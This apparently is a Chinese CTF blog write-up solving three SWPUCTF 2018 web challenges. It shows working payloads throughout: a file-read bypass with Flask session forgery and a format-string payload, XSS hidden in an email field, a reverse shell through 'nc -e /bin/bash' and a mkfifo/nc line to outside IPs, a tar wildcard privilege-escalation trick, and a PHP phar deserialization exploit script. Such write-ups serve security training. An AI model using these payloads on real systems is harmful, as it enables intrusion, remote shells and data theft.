Hu3sky's blog

SWPUCTF_WP

Word count: 2,043 / Reading time: 10 min
2018/12/25 Share

皇家线上赌场

文件读取

根据首页弹出的xss,来到路径
http://107.167.188.241/static?file=test.js
接着发现任意文件读取
http://107.167.188.241/static?file=/etc/passwd
发现泄露:
http://107.167.188.241/source

文件目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)
1
2
3
4
5
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:

查看工作目录
/proc/mounts 或者 /etc/mtab
发现web
/home/ctf/web_assli3fasdf
但是除了
http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js,其余的文件都读不到

绕过目录

可以用/proc/self/cwd绕过,cwd是一个符号链接,指向了实际的工作目录
views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱

__init__.py: http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

拿到s_key 即可伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

利用脚本解密session

1
{'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}

接着用key伪造

1
2
"{'csrf_token': '10
21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"

1

然后访问/getflag
关键代码

1
2
3
4
5
6
7
8
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

这里是format格式化字符串漏洞
__globals__获取所有变量
__dict__ 以字典的形式返回命名空间所支持的任意自定义的函数属性。
__closure__ 以包含cell的元组形式返回闭包所包含的自由变量。

大致的思路是找到g对象所在的命名空间,找到getflag方法,然后调__globals__获取所有变量,再从getflag方法中取出g对象。
最后payload

1
field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

有趣的邮箱

邮箱验证处
check.php发现

1
2
3
4
5
6
7
8
9
10
11
12
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
-->

网上找到绕过FILTER_VALIDATE_EMAIL检测的方法
提交邮箱"<script/src=//cowig.exeye.io/empuzid></script>"@example.com
即可接收到
1

但是发现没有cookie,于是利用平台 打源码,
配置
1

发送请求
"<script/src=http://xsspt.com/meVkTN?1545311319></script>"@qq.com
1

打到源码
解码
1
可以看到admin/a0a.php下面有个命令执行,于是弹shell

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false);
a.send(null);
b = a.responseText;
location.href = 'http://cowig.exeye.io/hu3sky' + escape(b);

1
1

此时我们的权限 读不了flag
1
发现上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b,访问下
1
1
发现经过tar *处理,于是上传文件,利用通配符进行本地提权
上传第一个文件 shell.sh 反弹shell
1
1
第二个文件 空内容 文件名为 --checkpoint=1
1
1

第三个文件 空内容 文件名为--checkpoint-action=exec=sh shell.sh
1

1

接着tar打包就会以flag用户执行shell.sh,反弹得到另一个shell,即可读flag。

tar 通配符

1
2
3
4
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

SimplePHP

http://120.79.158.180:11115/file.php?file=base.php读到上传的源码
发现flag的位置
<!--flag is in f1ag.php-->
function.php
看到文件名的构造
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"
读到class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

由于没有看到unserialize()所以应该是一个phar的反序列化

POP链

要触发file_get_contents去读f1ag
当实例化一个对象后,调用类中不存在或者没有权限访问的属性的时候,php会默认调用__get()方法
Show类中,

1
2
3
4
5
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

__toString方法在输出对象的时候触发。Cle4r类中有
$content = $this->str['str']->sourcestr为Test类时,不存在source变量,即可调用__get()方法
C14er类下

1
2
3
4
5
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}

echo函数可以输出获取到的flag
Test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); /* return flag */
return $text;
}

这里params是个数组, key是它的键,value是它的值
由于phar序列化的时候,并不能把类的方法进行序列化,于是我们只能控制类的成员。
所以构造的payload

1
2
3
4
5
6
7
8
$a = new Test();
$a -> params = [ 'source' => '/var/www/flag'];

$b = new Show();
$b -> str['str'] = $a;

$c = new Cle4r;
$c -> str = $b;

利用Test类获取flag,然后再传给Show类,让他读取,接着再给Cle4r类,让他输出
意思是,首先实例化Test类,让params数组为 [ ‘source’ => ‘/var/www/flag’],然后再实例化Show类,让Show类的str=Test类,而Test类没有source变量,就会去调用__get方法,接着再让它输出到页面上,即Cle4r类

简单来说:

  1. 利用C1e4r类的__destruct()中的echo $this->test
  2. 触发Show类的__toString()
  3. 利用Show类的$content = $this->str[‘str’]->source
  4. 触发Test类的__get()
  5. 成功利用file_get()读文件

final payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$a = new Test();
$a->params = array("source"=>'/var/www/html/f1ag.php');
$b = new Show('index.php');
$b->str['str'] = $a;
$c= new C1e4r($b);
echo serialize($c);
$obj = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.php', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
rename('hu3sky.phar', 'hu3sky.gif')
CATALOG
  1. 1. 皇家线上赌场
    1. 1.1. 文件读取
    2. 1.2. 绕过目录
  2. 2. 有趣的邮箱
    1. 2.1. tar 通配符
  3. 3. SimplePHP
    1. 3.1. POP链